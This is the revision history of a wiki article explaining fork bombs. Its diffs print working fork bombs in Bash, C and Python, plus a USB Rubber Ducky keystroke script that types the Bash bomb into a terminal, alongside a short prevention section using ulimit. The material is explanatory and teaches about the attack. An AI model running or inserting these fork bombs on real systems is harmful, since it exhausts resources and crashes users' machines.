Fork bomb - Revision history

Cskallak: /* Unix Bash */

2020-05-21T09:07:29Z

Unix Bash

← Older revision		Revision as of 09:07, 21 May 2020
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	=== Unix Bash ===		=== Unix Bash ===

			<syntaxhighlight lang="bash">
	:(){ :\|:& };:		:(){ :\|:& };:
			</syntaxhighlight>

	This command line command can be deciphered like this		This command line command can be deciphered like this

	:() # Defines the following function ":"		<syntaxhighlight lang="bash">
	{		:() # Defines the following function ":"
	: # Loads a copy of the function ":"		{
	\| # Redirects the Output that it is not seen in the shell		: # Loads a copy of the function ":"
	: # Loads a copy of the function ":"		\| # Redirects the Output that it is not seen in the shell
	& # Runs the programs as a background process		: # Loads a copy of the function ":"
	}		& # Runs the programs as a background process
	: # Runs the beforehand defined function ":"		}
			: # Runs the beforehand defined function ":"
			</syntaxhighlight>

	This command is dangerous because the user issuing it does need any grants.		This command is dangerous because the user issuing it does need any grants.

Cskallak: /* Python */

2020-05-21T09:06:41Z

Python

← Older revision		Revision as of 09:06, 21 May 2020
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	Command line variant:		Command line variant:
			<syntaxhighlight lang="bash">
	python -c 'while 1: __import__("os").fork()'		python -c 'while 1: __import__("os").fork()'
			</syntaxhighlight>

	=== Unix Bash ===		=== Unix Bash ===

Cskallak: /* Python */

2020-05-21T09:06:03Z

Python

← Older revision		Revision as of 09:06, 21 May 2020
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	=== Python ===		=== Python ===
			<syntaxhighlight lang="python">
	import os		import os

	while True:		while True:
	os.fork()		os.fork()
			</syntaxhighlight>


	Command line variant:		Command line variant:

Cskallak: /* C */

2020-05-21T09:04:51Z

← Older revision		Revision as of 09:04, 21 May 2020
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	The following section shows some fork bomb example written in different languages.		The following section shows some fork bomb example written in different languages.
	=== C ===		=== C ===
			<syntaxhighlight lang="c">
	#include <unistd.h>		#include <unistd.h>
	int main(void)		int main(void)
	{		{
	for(;;)		for(;;)
	fork();		fork();
	return 0;		return 0;
	}		}
			</syntaxhighlight>

	=== Python ===		=== Python ===

Cskallak: /* Forkbomb used by USB Rubber Ducky */

2020-05-21T09:00:04Z

Forkbomb used by USB Rubber Ducky

← Older revision		Revision as of 09:00, 21 May 2020
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	This attack can also be Performed on Unix based Operating systems by using the <code>:(){ :\|:& };:</code> command		This attack can also be Performed on Unix based Operating systems by using the <code>:(){ :\|:& };:</code> command
	The Rubber ducky script would look like as follows:		The Rubber ducky script would look like as follows:
	CTRL-ALT t		CTRL-ALT t
	DELAY 200		DELAY 200

Cskallak: /* Forkbomb used by USB Rubber Ducky */

2020-05-21T08:59:55Z

Forkbomb used by USB Rubber Ducky

← Older revision		Revision as of 08:59, 21 May 2020
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	This attack can also be Performed on Unix based Operating systems by using the <code>:(){ :\|:& };:</code> command		This attack can also be Performed on Unix based Operating systems by using the <code>:(){ :\|:& };:</code> command
			The Rubber ducky script would look like as follows:
	The Rubber ducky script would look like as follows:
	CTRL-ALT t		CTRL-ALT t
	DELAY 200		DELAY 200

Cskallak: /* Implementation */

2020-05-21T08:59:41Z

Implementation

← Older revision		Revision as of 08:59, 21 May 2020
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	Rezky Aulia Efendy et. al. in [4] used a [[USB Rubber Ducky]] to perform the fork bomb on a windows 8 personal computer. The USB Rubber Ducky is a self-typing Keyboard disguised as an USB flash drive. Their implementation opened multiple instances of Microsoft Paint to perform the memory depletion attack.		Rezky Aulia Efendy et. al. in [4] used a [[USB Rubber Ducky]] to perform the fork bomb on a windows 8 personal computer. The USB Rubber Ducky is a self-typing Keyboard disguised as an USB flash drive. Their implementation opened multiple instances of Microsoft Paint to perform the memory depletion attack.

	This attack can also be Performed on Unix based Operating systems by using the ~~bash fork bomb~~		This attack can also be Performed on Unix based Operating systems by using the <code>:(){ :\|:& };:</code> command
	:(){ :\|:& };:

	The Rubber ducky script would look like as follows:		The Rubber ducky script would look like as follows:
	CTRL-ALT t		CTRL-ALT t
Line 64:		Line 63:
	STRING :(){ :\|:& };:		STRING :(){ :\|:& };:
	ENTER		ENTER

			== Fork bomb prevention ==

			To prevent the fork bomb form spreading on your device you can limit the the maximum of allowed precesses per user. On Linux Distribution this can be achieved by using the ulimit command.
			For example <code>ulimit -u 30</code> would limit the user to a maximum of 30 Processes.

	== References ==		== References ==

Cskallak: /* Forkbomb used by USB Rubber Ducky */

2020-05-21T08:50:51Z

Forkbomb used by USB Rubber Ducky

← Older revision		Revision as of 08:50, 21 May 2020
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	Rezky Aulia Efendy et. al. in [4] used a [[USB Rubber Ducky]] to perform the fork bomb on a windows 8 personal computer. The USB Rubber Ducky is a self-typing Keyboard disguised as an USB flash drive. Their implementation opened multiple instances of Microsoft Paint to perform the memory depletion attack.		Rezky Aulia Efendy et. al. in [4] used a [[USB Rubber Ducky]] to perform the fork bomb on a windows 8 personal computer. The USB Rubber Ducky is a self-typing Keyboard disguised as an USB flash drive. Their implementation opened multiple instances of Microsoft Paint to perform the memory depletion attack.

	This attack can also be Performed on Unix based Operating systems by using the ~~Bash Command~~		This attack can also be Performed on Unix based Operating systems by using the bash fork bomb
	:(){ :\|:& };:		:(){ :\|:& };:

			The Rubber ducky script would look like as follows:
			CTRL-ALT t
			DELAY 200
			STRING :(){ :\|:& };:
			ENTER

	== References ==		== References ==

Cskallak: /* Forkbomb used by USB Rubber Ducky */

2020-05-21T08:47:49Z

Forkbomb used by USB Rubber Ducky

← Older revision		Revision as of 08:47, 21 May 2020
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	=== Forkbomb used by USB Rubber Ducky ===		=== Forkbomb used by USB Rubber Ducky ===
	~~[[USB Rubber Ducky]]~~		Rezky Aulia Efendy et. al. in [4] used a [[USB Rubber Ducky]] to perform the fork bomb on a windows 8 personal computer. The USB Rubber Ducky is a self-typing Keyboard disguised as an USB flash drive. Their implementation opened multiple instances of Microsoft Paint to perform the memory depletion attack.
	Rezky Aulia Efendy et. al. in [4] used a USB Rubber Ducky to perform the fork bomb on a windows 8 personal computer. The USB Rubber Ducky is a self-typing Keyboard disguised as an USB flash drive. Their implementation opened multiple instances of Microsoft Paint to perform the memory depletion attack.

	This attack can also be Performed on Unix based Operating systems by using the Bash Command		This attack can also be Performed on Unix based Operating systems by using the Bash Command

Cskallak: /* Implementation */

2020-05-21T08:47:33Z

Implementation

← Older revision		Revision as of 08:47, 21 May 2020
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	== Implementation ==		== Implementation ==

	The fork bomb utilizes the fork system call which is implemented in every programming language. The Fork command calls a child process of that executes the next line of code with it simultaneously. The mother node patiently awaits the completion of its child processes, but the child ~~process~~ will never exceed it completion because they also waiting for their child processes.		The fork bomb utilizes the fork system call which is implemented in every programming language. The Fork command calls a child process of that executes the next line of code with it simultaneously. The mother node patiently awaits the completion of its child processes, but the child processes will never exceed their completion because they also waiting for their child processes.

	1\| fork() L1		1\| fork() L1
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	=== Forkbomb used by USB Rubber Ducky ===		=== Forkbomb used by USB Rubber Ducky ===
			[[USB Rubber Ducky]]
	Rezky Aulia Efendy et. al. in [4] used a USB Rubber Ducky to perform the fork bomb on a windows 8 personal computer. The USB Rubber Ducky is a self-typing Keyboard disguised as an USB flash drive. Their implementation opened multiple instances of Microsoft Paint to perform the memory depletion attack.		Rezky Aulia Efendy et. al. in [4] used a USB Rubber Ducky to perform the fork bomb on a windows 8 personal computer. The USB Rubber Ducky is a self-typing Keyboard disguised as an USB flash drive. Their implementation opened multiple instances of Microsoft Paint to perform the memory depletion attack.

			This attack can also be Performed on Unix based Operating systems by using the Bash Command
			:(){ :\|:& };:

	== References ==		== References ==